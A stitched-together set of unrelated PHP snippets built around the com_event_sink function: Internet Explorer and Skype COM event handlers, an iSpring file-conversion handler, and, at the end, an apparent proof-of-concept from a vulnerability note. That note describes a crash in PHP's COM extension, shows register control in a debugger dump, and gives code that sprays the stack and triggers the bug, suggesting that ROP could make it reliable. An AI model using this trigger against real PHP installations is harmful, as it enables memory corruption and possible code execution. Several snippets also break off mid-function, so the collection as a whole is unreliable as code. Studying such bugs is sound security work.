<?php class IEEventSinker { var $terminated = false; function ProgressChange($progress, $progressmax) { echo "Download progress: {$progress} / {$progressmax}\n"; } function DocumentComplete(&$dom, $url) { echo "Document {$url} complete\n"; } function OnQuit() { echo "Quit!\n"; $this->terminated = true; } } $ie = new COM("InternetExplorer.Application"); $sink = new IEEventSinker(); com_event_sink($ie, $sink, "DWebBrowserEvents2"); $ie->Visible = true; $ie->Navigate("http://www.example.org"); while (!$sink->terminated) { com_message_pump(4000); } $ie = null;
public function initSkypeConnection() { if (!extension_loaded('com_dotnet')) { throw new \Exception('No COM extension loaded. Exiting.'); } $this->com = new \COM("Skype4COM.Skype"); com_event_sink($this->com, $this, 'ISkype'); if (!$this->com->client()->isRunning()) { $this->com->client()->start(); } $this->com->Attach(5, false); com_message_pump(1000); }
<body> <?php include '../../../_logger.php'; function ispringconversion_handler($file_path, $file_name) { logit("iSPringHandler.php", "Welcome To iSpring"); $file_path = str_replace('../../', "", $file_path); $swffile_folder = realpath(".././" . $file_path) . '\\_isp__' . $file_name; logit("iSPringHandler.php", "File Path is" . $file_path); logit("iSPringHandler.php", "File Name is " . $file_name); logit("iSPringHandler.php", "SWF Folder Path is " . $swffile_folder); $swf_file = $file_name . '.swf'; try { $isprComobj = new COM("iSpring.PresentationConverter"); logit("iSPringHandler.php", "SWFFF COM"); $listener =& new CEventListener($file_name, realpath(".././" . $file_path)); com_event_sink($isprComobj, $listener, "_iSpringEvents"); } catch (Exception $e) { echo $e; } //echo "Opening presentation\n"; $isprComobj->Settings->Playback->Player->CorePlugins->AddBuiltInPlugin(1); $isprComobj->Settings->Navigation->KeyboardEnabled = false; $isprComobj->Settings->Navigation->AdvanceOnMouseClick = false; try { $isprComobj->OpenPresentation(realpath(".././" . $file_path . "/@@-OriginalDocs-@@/" . $file_name)); } catch (Exception $e) { echo $e; } try { //$isprComobj->Presentation->Slides->SaveThumbnails($thum_folder ."/".$file_name.'_files',"thumbnail_",2,140,140,90); } catch (Exception $e) { //echo $e; } try { $isprComobj->GenerateFlash($swffile_folder, $swf_file, 0, ""); } catch (Exception $e) { echo $e; }
Define('DEVIDER', 'и'); $last_day = date('d-M-y'); $last_minute = date('H:i'); // Create skype object $skype = new COM("Skype4COM.Skype"); // Create sink object $sink = new _ISkypeEvents($com); // Connect to sink com_event_sink($skype, $sink, "_ISkypeEvents"); // Start minimized and without splash screen if (!$skype->client()->isRunning()) { $skype->client()->start(true, true); } //Attach to Skype $skype->attach(5,false); //process messages to catch the attachment com_message_pump(1000); $old_message=''; $latest_message=''; $tmp=SQLSelectOne("SELECT * FROM shouts WHERE MEMBER_ID=0 ORDER BY ADDED DESC");
it, but lets start from the beginning. As we can read in PHP manual : com_event_sink function connects events from COM object to a PHP object. First argument should be a COM object. But when I set it up to new Variant(), PHP instance crashed. After few minutes of research it was clear to me that we can control EAX register by defining first parameter of our Variant object. The proof of concept code located below should produce situation similar to this : eax=024e0050 ebx=010328f0 ecx=41414141 edx=00c0facc esi=0121ff68 edi=00000000 eip=100f33d5 esp=00c0faa8 ebp=00000000 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 100f33d4 50 push eax 100f33d5 8b01 mov eax,dword ptr [ecx] ds:0023:41414141=???????? 100f33d7 ffd0 call eax IMHO it is possible to write a reliable exploit using i.e.: ROP method but due to lack of free time and skill I leave this task to someone else. Also 0in tried to write stable exploit for same bug in com_print_typeinfo() function but as far as I know it isn't stable enough :( Greetz: cxib, 0in, and others ;> */ $EAX = 0x24e0050; // stack starts at 0x024E0050 (in my case) $stack = str_repeat("x41", 0x1000000); // putting some garbage on the stack so the ECX would be 41414141 class foo { } com_event_sink(new Variant($EAX), new foo(), array());